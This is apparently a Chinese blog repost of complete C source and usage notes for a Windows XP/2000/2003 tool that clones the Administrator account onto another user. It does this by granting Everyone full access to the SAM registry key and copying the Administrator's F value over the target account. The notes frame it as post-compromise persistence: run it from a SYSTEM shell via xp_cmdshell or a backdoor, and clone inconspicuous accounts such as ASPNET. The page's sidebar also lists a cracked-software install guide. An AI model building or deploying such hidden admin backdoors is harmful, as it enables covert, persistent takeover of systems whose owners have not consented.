支持XP/2k/2k3下完美进行任意用户克隆的C源码

API修改访问注册表的权限 #include #include #pragma comment (lib,"Advapi32.lib") void SetRegPrivilege() { DWORD dwRet; // 下面这个字符串的值修改为想要进行权限操作的注册表项,注册表每一级的权限是不一样的,所以需要很具体地指定到某一级 LPSTR SamName = "MACHINE\\SAM\\ 阅读详情
软件作者:pt007[at]vip.sina.com版权所有,转载请注明版权
信息来源:邪恶八进制信息安全团队( www.eviloctal.com)
    本程序是基于dahubaobao的源程序的基础上进行了修改,改正了源程序中的一个严重BUG(原程序会引起用户管理的混乱),本版本加入了注册表提权 和恢复功能,因此能够完美的支持XP/2000/2003,下一个版本我打算实现直接输入用户名克隆和密码修改功能!感谢dahubaobao和 sinister的指点
  SHELL里可执行是指:至少有一个管理员权限的shell,如:jsp/MYSQL/SERV提权/反弹CMDSHELL
软件使用问题整理:
引用第46楼kuba8于2007-04-25 20:16发表的  :
我发现在国外有些机上不能执行,不知道为什么~
1、 这种情况很可能是SAM键值做了安全设置,比如只允许system完全控制,administrators组成员连读取权限都没有,解决方法是获得一个 system权限的SHELL,比如用SQL的XP_CMDSHELL来运行这个命令,或者利用服务启动的后门一般都是system权限的,所以你可以找 一个第三方的后门程序来执行这个程序。
2、最近我在做一个渗透项目的时候发现,如果服务器为域服务器,也会出现clone5 -l列不出或列不全用户的情况,这种情况下建议大家不要使用任何的用户克隆类软件,否则把用户的机器搞出问题了就不好玩了,建议大家可以留个后门,解决方案等有时间再进行研究。
3、2000下停用了账号依然可以正常使用,03下面必须启用,删除了克隆用户也没问题,总之和正常用户一样进行操作就可以了,克隆完之后要使用net user aspnet test来修改密码。
4、克隆之后会启用该用户。
5、测试克隆用户的方法:
runas /user:aspnet cmd
net share (能执行代表具有管理员权限)
6、任意用户均可以克隆,建议大家的眼光不要局限克隆GUEST,多克隆其它的一些账号,比如ASPNET和tsinternetuser等。
Copy code
#include <windows.h>
#include <string.h>
#include <stdio.h>
#include <aclapi.h>

char name[50][30];
int KeyN=0;
LPTSTR lpObjectName;
SE_OBJECT_TYPE ObjectType; //#include <aclapi.h>
PACL OldDACL,NewDACL;
PSECURITY_DESCRIPTOR SD;
EXPLICIT_ACCESS ea;
//OpenKey(),ViewUser(),ListUser()函数用到的变量

//显示用户名对应的安全标识符:
void OpenKey (char *key);
int ViewUser (char *key);
int ListUser (void);//列出用户名和类型值(用户SID)
int Clone (char *C_sid);//克隆帐户
void Usage (void);//帮助信息

//设置注册表的存取权限:
void new();
void old();

void main (int argc, char *argv[])
{
char C_Sid[10];
int n;
if(argc<2)
{Usage();
return;}

//提升注册表SAM键的权限:
new();

//如何使用命令行参数的方法:
for (n=1;n<argc;n++)
{
if (argv[n][0] == '-')
{
switch(argv[n][1])
{
case '?':
case 'h':
case 'H':Usage();
break;

case 'l':
case 'L':ListUser();
      old();
break;

case 'c':
case 'C':
if(argc<3)
{printf("Useage:%s -c 1F5/n",argv[0]);
old();
break;}
strcpy(C_Sid,argv[2]);//获得屏幕输入并存入C_Sid字符数组
if (strlen(C_Sid)<=10)
Clone(C_Sid);
else
printf("Error/n");
//恢复注册表的权限:
old();

      break;

}
}
}
}


void OpenKey (char *key)
{
HKEY hkey;//注册表键值的句柄
DWORD dwIndex=0,lpcbname=100,ret=0;
char T_name[100],Buffer[100];
FILETIME lpftlast;
int i=0;
//下面是字符数组清0:
ZeroMemory(Buffer,100);
ZeroMemory(T_name,100);
ZeroMemory(name,1500);

RegOpenKeyEx(HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄
key, //传递一个参数,欲打开的注册表项
0, //未用,设为0即可
KEY_ALL_ACCESS, //描述新键值安全性的访问掩码
//它们的组合描述了允许对这个项进行哪些操作
&hkey);//装载上面打开项的句柄

for(i=0;ret==ERROR_SUCCESS;i++,dwIndex++)//遍历子键中的每个值
{
ret=RegEnumKeyEx(hkey,dwIndex,T_name,&lpcbname,
NULL,NULL,NULL,&lpftlast);
//dwIndex:欲获取的子项的索引。第一个子项的索引编号为零
//T_name:用于装载指定索引处项名的一个缓冲区
//&lpcbname:指定一个变量,用于装载lpName缓冲区的实际长度(包括空字符)。
//一旦返回,它会设为实际装载到lpName缓冲区的字符数量
//NULL:未用,设为零
//NULL:项使用的类名
//NULL:用于装载lpClass缓冲区长度的一个变量
//&lpftlast:FILETIME,枚举子项上一次修改的时间

strcat(name[i],T_name);//将每个子键名加入到name数组中

ZeroMemory(T_name,100);//清0
lpcbname=100;
}
//printf("subkey=%s/n",name[0]);//administrator
RegCloseKey(hkey); //关闭注册键

//拼接用户名:
for(KeyN=0;KeyN<i;KeyN++)
{
strcat(Buffer,name[KeyN]);
strcat(Buffer,"/n/r");
}
}

int ViewUser (char *key)
{
HKEY hkey;
DWORD lpType=0,ret;
char S_name[10];


ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
key,//如://SAM//SAM//Domains//Account//Users//Names//administrator
0,
KEY_ALL_ACCESS,
&hkey);

if(ret==ERROR_SUCCESS)
      ;
else
return 0;

RegQueryValueEx(hkey,NULL,NULL,&lpType,NULL,NULL);
//NULL:要获取值的名字
//NULL:未用,设为零
//&lpType:用于装载取回数据类型的一个变量
//NULL:用于装载指定值的一个缓冲区
//NULL:用于装载lpData缓冲区长度的一个变量

wsprintf(S_name,"%X/n/r",lpType);
printf("%s",S_name);

return 1;
}

int ListUser (void)
{
int n;
char Buffer[70]="SAM//SAM//Domains//Account//Users//Names//";
char Temp[40]={'/0'};

OpenKey("SAM//SAM//Domains//Account//Users//Names");

for(n=0;n<KeyN;n++)
{
strcat(Buffer,name[n]);//SAM//SAM//Domains//Account//Users//Names//administrator
wsprintf(Temp,name[n]);
strcat(Temp,"===>");
printf("%s",Temp);
ViewUser(Buffer);
strcpy(Buffer,"SAM//SAM//Domains//Account//Users//Names//");
}
return 1;
}

int Clone(char *C_sid)
{
HKEY hkey,C_hkey;
DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret;
char CloneSid[100];
LPBYTE lpDataF,lpDataV;
//为注册表的F与V值分配空间:
lpDataF = (LPBYTE) malloc(1024*2);
lpDataV = (LPBYTE) malloc(1024*10);
//清0:
ZeroMemory(lpDataF,1024*2);
ZeroMemory(lpDataV,1024*10);
ZeroMemory(CloneSid,100);

strcpy(CloneSid,"SAM//SAM//Domains//Account//Users//00000");
strcat(CloneSid,C_sid);//如:SAM//SAM//Domains//Account//Users//000001F5

ret= RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SAM//SAM//Domains//Account//Users//000001F4", //administrator的子键
0,
KEY_ALL_ACCESS,
&hkey);

if(ret==ERROR_SUCCESS)
;
else
return 0;
//读出F值然后存入lpDataF中:
ret = RegQueryValueEx(hkey,"F",NULL,
&Type,lpDataF,&SizeF);

if(ret==ERROR_SUCCESS)
;
else
return 0;
//读出v值然后存入lpDataV中:
ret = RegQueryValueEx(hkey,"V",NULL,
&Type,lpDataV,&SizeV);

if(ret==ERROR_SUCCESS)
;
else
return 0;
//下面是打开需克隆用户如guest的键值:
ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
CloneSid, //如:SAM//SAM//Domains//Account//Users//000001F5
0,
KEY_ALL_ACCESS,
&C_hkey);

if(ret==ERROR_SUCCESS)
;
else
return 0;
//将lpDataF中的值来替换需克隆用户的F值:
ret= RegSetValueEx(C_hkey,"F",0,
REG_BINARY,
lpDataF,
SizeF);
//C_hkey:根键名或已打开项的句柄
//“F”:要设置值的名字
//0:未用,设为零
//REG_BINARY:要设置的数量类型
//lpDataF:包含数据的缓冲区中的第一个字节
//SizeF:lpData缓冲区的长度

if(ret==ERROR_SUCCESS)
printf("Clone User Success/n");
else
{
printf("Clone User FAIL/n");
return 0;
}
//关闭已打开的注册表句柄:
RegCloseKey(hkey);
RegCloseKey(C_hkey);

return 1;
}

void new()
{//下面是设置SAM键的权限为everyone:
      lpObjectName = "MACHINE//SAM//SAM";

      ObjectType =SE_REGISTRY_KEY;

      //建立一个空的ACL;
      if (SetEntriesInAcl(0, NULL, NULL, &

      OldDACL)!=ERROR_SUCCESS)
            return;

      if (SetEntriesInAcl(0, NULL, NULL, &NewDACL)!=ERROR_SUCCESS)
            return;

      //获取现有的ACL列表到OldDACL:
      if(GetNamedSecurityInfo(lpObjectName, ObjectType,
                                      DACL_SECURITY_INFORMATION,
                                      NULL, NULL,
                                      &OldDACL,
                                      NULL, &SD) != ERROR_SUCCESS)
              printf("指定的键不存在!/n");
// 本文转自 C++Builder 研究 - [url]http://www.ccrun.com/article.asp?i=563&d=tshoza[/url]
//设置用户名"Everyone"对指定的键有所有操作权到结构ea:
      ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));

      BuildExplicitAccessWithName(&ea,
                                                "Everyone",        // name of trustee
                                                KEY_ALL_ACCESS,      // type of access
                                                SET_ACCESS,        // access mode
                                                SUB_CONTAINERS_AND_OBJECTS_INHERIT); //子键继承它的权限

     
      //合并结构ea和OldDACL的权限列表到新的NewDACL:
      if(SetEntriesInAcl(1, &ea, NULL, &NewDACL) != ERROR_SUCCESS)
              goto Cleanup;

      //把新的ACL写入到指定的键:
      SetNamedSecurityInfo(lpObjectName, ObjectType,
              DACL_SECURITY_INFORMATION,
              NULL, NULL,
              NewDACL,
              NULL);
//释放指针
      Cleanup:
      if(SD != NULL)
              LocalFree((HLOCAL) SD);
      if(NewDACL != NULL)
              LocalFree((HLOCAL) NewDACL);
      if(OldDACL != NULL)
              LocalFree((HLOCAL) OldDACL);
}

void old()
{
//恢复注册表的权限:

      BuildExplicitAccessWithName(&ea,
                                                "system",        // name of trustee
                                                KEY_ALL_ACCESS,      // type of access
                                                SET_ACCESS,        // access mode
                                                SUB_CONTAINERS_AND_OBJECTS_INHERIT); //让子键继承他的权限

      if(SetEntriesInAcl(1, &ea, NULL, &OldDACL) != ERROR_SUCCESS)
          goto Cleanup;

      //把旧的ACL写入到指定的键:
      SetNamedSecurityInfo(lpObjectName, ObjectType,
              DACL_SECURITY_INFORMATION,
              NULL, NULL,
              OldDACL,
              NULL);
      //释放指针
      Cleanup:
      if(SD != NULL)
              LocalFree((HLOCAL) SD);
      if(NewDACL != NULL)
              LocalFree((HLOCAL) NewDACL);
      if(OldDACL != NULL)
              LocalFree((HLOCAL) OldDACL);

}


//输出帮助的典型方法:
void Usage (void)
{
fprintf(stderr,"===============================================================================/n"
"/t名称:2003与2000下克隆任意用户程序/n"
"/t环境:Win2003 + Visual C++ 6.0/n"
"/t作者:[email]pt007@vip.sina.com[/email]/n"
"/tQQ:7491805/n"
"/t声明:本软件由pt007原创,转载请注明出处,谢谢!/n"
"/n"
"/t使用方法:/n"
"/t/"-H/":帮助信息/n"
"/t/"-L/":列出系统中用户对应的SID/n"
"/t/"-C 1F5/":克隆帐户,输入SID即可/n"
"/t 对应注册表HKEY_LOCAL_MACHINE//SAM//SAM//Domains//Account//Users/n"
"/t 对应注册表HKEY_LOCAL_MACHINE//SAM//SAM//Domains//Account//Users//Names/n"
"/n"
"/t注意事项:/n"
"/t由于SID的前5位都是/"0/",所以不必输入,直接输入最后三位/n"
"/t例如:000001F5,则直接输入1F5,即可将Guest帐户克隆/n"
"===============================================================================/n");
} 
Windows Server 2003 (NT 5.2.3790.0) 操作系统源代码编译构建指南版本 10b,上次更新 2021/10/21 Windows Server 2003 (NT 5.2.3790.0) 构建指南 版本 10b,上次更新 2021/10/21 XP-Tan 指令在 XP SP3 x86、Win7 SP1 x86/x64 & Win10 x64 下测试,其他操作系统下结果可能有所不同。 由无名匿名维护的指南,与任何从事代码工作的小组没有任何关系。 不要相信任何声称作者身份的人! 内容 一个小小的要求 常问问题 搭建准备 构建 一个。故障排除 调试 附加信息 代码添加 变更日志 文件哈希 一个小小的要求 大家好,有一 阅读详情

相关推荐

CentOS 7 搭建 Python 3 开发环境:SCL + pyenv 最稳实践

Python 开发环境是软件工程的基础支撑,其核心在于版本隔离、依赖可控与系统安全。在 CentOS 7 这类企业级 Linux 发行版中,Python 2.7 系统绑定与 Python 3 需求并存构成典型矛盾,直接修改默认 Python 或滥用源码编译极易引发 yum 失效、SSL 模块缺失、venv 不可用等连锁故障。SCL(Software Collections)提供 Red Hat 官方签名的沙箱化 Python 3.6,保障系统稳定性;pyenv 则实现用户态多版本按需编译与无缝切换,天然支持

cuibinmo3519的博客 342

DELPHI设置Windows文件夹权限

Windows文件夹权限操作

舞天涯的专栏 696

AD9361+ZedBoard(ZYNQ7020)的SDK工程构建实战:从HDL编译到Vivado工程

本文详细介绍了AD9361+ZedBoard(ZYNQ7020)的SDK工程构建实战,从HDL编译到Vivado工程的完整流程。重点讲解了环境准备、工具安装、HDL源码编译、Vivado工程调试技巧以及no-OS驱动集成等关键步骤,帮助开发者快速掌握AD9361与ZYNQ7020的硬件开发技术。

weixin_33743703的博客 380

Delphi设置某用户对文件(夹)的权限

以下在代码在D7+2003和D7+XP中调试通过 unit NTSecurityU; interface Uses Windows, AclApi, AccCtrl; Const SECURITY_NULL_SID_AUTHORITY : _SID_IDENTIFIER_AUTHORITY = ( Value : (0,0,0,0,0,0)); SECURITY_WOR

挨踢生涯 5444

BallonsTranslator安装指南:基于uv的Python本地化工作流搭建

BallonsTranslator并非普通翻译工具,而是面向视觉小说本地化的专业文本提取与注入引擎。其核心原理依赖Python生态构建的命令行工作流,强调环境隔离、ABI兼容与可复现性。技术价值在于打通日文/韩文游戏脚本的提取、翻译、回填全链路,避免字符错位、变量丢失等本地化常见故障。典型应用场景包括吉里吉里(.xp3)、NScripter(.dat)等引擎游戏的汉化工程。本文聚焦Windows平台下以uv替代pip的高效环境搭建,解决ModuleNotFoundError、TLS 1.3握手失败、家庭版D

562

TRAE Solo:VS2022中嵌入MSBuild的C++编译错误实时AI修复工具

C++编译错误本质上是编译器在特定工具链、平台SDK和项目配置下对语义与类型的联合判定结果,而非孤立文本。理解其底层原理(如MSVC错误码C2664的类型转换上下文)是实现精准修复的前提。TRAE Solo通过深度集成MSBuild构建生命周期,绕过IDE插件层,在编译后毫秒级捕获真实错误上下文(含cl.exe版本、/MDd选项、Windows SDK等),将AI能力转化为可审计、低延迟、离线可用的本地化智能运维能力。它适用于工业级C++开发、汽车电子、医疗影像等对安全性、确定性与响应速度要求严苛的场景,真

clt3617的博客 504

[原创]delphi在win7下创建共享文件夹源代码

unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs,AclApi, AccCtrl, StdCtrls; type PShareInfo2 = ^TShareInfo2; TShareInfo2 = packed re...

weixin_30652897的博客 375

【信息科学与工程学】【运营科学】第二篇 C4信息与通信网络运营 (C4) ——数据中心网络运营04

典型值:λ1​∈[−0.02,−0.01], λ2​∈[−0.01,0], η1​,η3​∈[0.1,0.3], η2​,η4​∈[0.05,0.15]参数:δ1​∈[−0.8,−0.3], δ2​∈[−0.5,−0.2], δ3​∈[−0.4,−0.1], δ4​∈[−0.6,−0.2]参数:φ1​∈[0.1,0.3], φ2​∈[−0.2,−0.05], φ3​∈[−0.1,0.1], φ4​∈[−0.3,−0.1]参数:α∈[0.3,0.6], β∈[0.2,0.4], γ∈[0.01,0.03]

weixin_49199313的博客 1215

Q1K3终极指南:3步构建微型FPS游戏

想要在13KB的限制内开发一款完整的3D射击游戏吗?Q1K3项目为你提供了完美的解决方案。这个基于JavaScript的微型FPS游戏不仅功能完整,还包含了动态光照、敌人AI、多种武器等高级特性,是js13kGames竞赛的杰出作品。 ## 🎮 新手必看:快速上手Q1K3游戏 ### 游戏控制方式详解 Q1K3采用了直观的控制方案,让玩家能够快速上手: - **移动控制**:使用WASD

gitblog_00197的博客 990

EV2300驱动兼容Win10/Win11实战指南

USB转串口是嵌入式调试的基础通信方式,其核心依赖于USB协议栈、UART桥接芯片(如FT232RL)与上层通信协议的协同工作。理解VCP虚拟串口原理和SMBus over UART封装机制,有助于突破老旧工具链的兼容瓶颈。现代Windows系统(Win10/Win11)因驱动模型升级(WDF替代WDM)、签名策略收紧(SHA-1禁用)及端口命名规范变化,导致TI官方EV2300 XP2K安装包失效。实际解法在于解耦四层架构:用WHQL认证的FTDI VCP驱动替代旧版底层驱动,以标准COM端口打通物理层;

weixin_33816946的博客 406

Windows操作系统源代码编译构建指南

Windows Server 2003(NT 5.2.3790.0)操作系统源代码编译指南版本10_20201107.docx

最新使用K55实现Linux x86_64进程注入_linux 进程注入 支持c和c++,详解系列文章

最近很多小伙伴找我要Linux学习资料,于是我翻箱倒柜,整理了一些优质资源,涵盖视频、电子书、PPT等共享给大家!

2401_84140687的博客 463

使用 Python 和可视化编程控制树莓派机械臂myCobot

这些模块包括逻辑、循环、数学、文本、列表、颜色、变量、函数以及控制机械臂的函数等等,所以用户可以轻松入门编程,只需单击右上角的运行就可以启动程序,做一些有趣的应用。可以搭配任意摄像头进行图像识别,具有4个 USB 端口,可以通过 Raspberry Pi 的微型 HDMI 端口连接到显示器. 最后,40 个GPIO 接头可以进行更多扩展应用,机械臂每个接口都有清晰的标记,面板上还有一个电源开关和一个直流电源插孔。您现在可以将机器人放在地板或桌子上,并用力拧紧吸盘,以确保机械臂的底座在操作过程中不会移动。

m0_62456998的博客 3966

最新使用K55实现Linux x86_64进程注入_linux 进程注入 支持c和c++(1),2024年最新金三银四大厂面经总结

最近很多小伙伴找我要Linux学习资料,于是我翻箱倒柜,整理了一些优质资源,涵盖视频、电子书、PPT等共享给大家!

2401_84140653的博客 261

结构设计3D拆件与骨架模型构建实战:基于Creo 8.0的5个高效建模技巧

本文详细解析了基于Creo 8.0的结构设计3D拆件与骨架模型构建实战技巧,涵盖5个高效建模方法,包括参数化驱动、曲面分割、多实体协同设计等。通过骨架模型的智能应用,设计效率可提升30%以上,特别适合复杂产品的结构设计。文章还提供了TWS耳机充电仓等实战案例,帮助工程师快速掌握工业设计中的核心建模技术。

weixin_30000735的博客 575

解密HDMI热插拔检测电路:从HPD引脚到EDID读取的全流程避坑

本文深入解析HDMI热插拔检测与EDID读取的全流程,从HPD引脚信号特性、DDC通道I2C协议到EDID数据结构,系统剖析了硬件电路设计、信号完整性和软件协议中的常见陷阱与解决方案,为消费电子设备开发者提供了一套完整的实战避坑指南。

weixin_29291069的博客 650

UMSKT快速入门指南:如何在5分钟内生成有效的Windows产品密钥

UMSKT(Universal MS Key Toolkit)是一款开源工具包,专为研究Microsoft Pre-Vista许可机制而设计,帮助用户快速生成有效的Windows产品密钥。本指南将带你在5分钟内完成从安装到生成密钥的全过程,即使是新手也能轻松上手。 ## 什么是UMSKT? UMSKT是一个轻量级的命令行工具,专注于Windows产品密钥的生成与研究。它支持多种Windows版

gitblog_00118的博客 842

基于SHIS凝视型短波红外高光谱相机(900-1700nm)区分不同宝石的差异性和可分性(宝石分选)

SHIS系列凝视型高光谱相机基于液晶可调谐滤波器(LCTF),通过电控LCTF进行连续细分窄波段分光,对每个波段进行高分辨率的二维面阵成像,进行图像处理后,获得完整的高光谱高清图像序列。具有低功耗、小型化、使用方便和易于扩展的优势。其工作波段覆盖400nm至1000nm,能够捕捉宝石在不同波长下的光谱特征,为宝石鉴定提供了新的工具。

wayho的博客 710

EviAnn v2.0.5 安装与使用--生信工具111

EviAnn是一款基于证据的真核生物基因组注释软件,利用RNA-seq、转录本及近缘物种蛋白数据注释蛋白编码基因和长非编码RNA,输出GFF3文件。它无需重复序列屏蔽,运行快速,24核服务器上小鼠基因组注释不足1小时。支持NCBI提交、UTR/lincRNA注释、假基因标记及功能注释,可通过Bioconda或源码安装。

weixin_44874487的博客 313

Bartender 2021破解版安装教程:手把手教你从下载到激活(附详细步骤图)

本文详细介绍了BarTender 2021专业版的安装与高效应用指南,从基础配置到高级条码设计,帮助用户快速掌握标签设计与打印技术。内容涵盖安装步骤、标签模板创建、数据连接与批量打印技巧,以及高级功能如安全策略与自动化集成,适合零售、物流、制造等行业用户提升工作效率。

p4q5r6s7t的博客 2660

药物重定位实战:如何用反向找靶技术挖掘老药新用(附Python代码示例)

本文详细介绍了药物重定位中的反向找靶技术,通过分子相似性计算、机器学习模型和结构对接等方法,挖掘已有药物的新治疗潜力。附Python代码示例,帮助读者快速实现从分子结构到潜在靶标的智能预测,显著提升药物研发效率。

weixin_28726671的博客 259

Silk v3音频解码器完整指南:从技术原理到批量转换实战

在即时通讯应用日益普及的今天,微信、QQ等平台广泛采用Silk v3音频编码格式来传输语音消息,这种高效的音频压缩技术虽然节省了带宽,却给用户带来了播放和处理的难题。silk-v3-decoder项目正是为解决这一技术痛点而生,它提供了完整的Silk v3音频解码和转换解决方案,支持批量处理微信amr、aud文件以及QQ slk文件,并能将其转换为MP3等通用音频格式。 ## 项目概述与技术背景

gitblog_00696的博客 748

详细推导波特图增益和相位曲线

最近因为项目需求,在回看波特图方面的内容。大三那会,《自动控制原理》这本书里面就讲过这些东西,但是那时候总感觉学这些没啥用,反正以后也用不到,对这种课程的重视度不是很高。 工作后发现,只要你从事的是和本专业相关的工作,大学学过的很多理论课程在后面大概率都会用到。曾经那些我们在学校以为用不上的东西,熟不知在后面用处还多着呢。所以啊,仅仅只是我们的以为而已! 现在还在学校的同学,对待《自动控制理论》、《信号与系统》、《通信原理》这样的核心专业课,建议还是好好学习一下,认真听听课。哪怕是考试完以后就会忘掉,但当我

D_Katter的博客 3936

4.4GB PS2 碟压到 1.5GB:chdman+ROMm CHD 压缩入库完整指南

自托管 ROM 库复制到另一台机器,PS2 文件夹永远最占地。用 chdman 压缩,ROMm 管入库、去重和换盘。4.4GB 的碟按档位落在 1.5GB 到 2.2GB,省 40% 到 60%,代价只是一次 CPU 时间——挂着跑就行。 [![PS2 碟 CHD 压缩入库后的 ROMm 游戏库界面](https://raw.gitcode.com/GitHub_Trending/rom/rom

gitblog_00953的博客 1008

Temporal Noise Reduction(TNR)时序去噪技术解析:原理、平台实践与工程调优路径

随着高画质夜景拍照和高清视频拍摄需求的持续增长,图像传感器在低照度环境下输出信号的噪声问题日益突出。相比空间域降噪(SNR),时序去噪(Temporal Noise Reduction, TNR)利用帧间信息进行融合处理,具备更高的信噪比提升效率及更强的边缘保护能力,已成为移动影像ISP链路中的核心环节。本文系统剖析TNR的算法原理、平台实现机制与工程调试路径,并基于实际开发案例分析其在不同场景下的效果差异及调优方法,为工程师提供从理论到实操的完整路径参考。

努力分享一些人工智能、计算机视觉、影像等相关的知识干货! 3206

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

上一篇: TCP序列号和确认号详解
下一篇: vc的编译参数优化
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值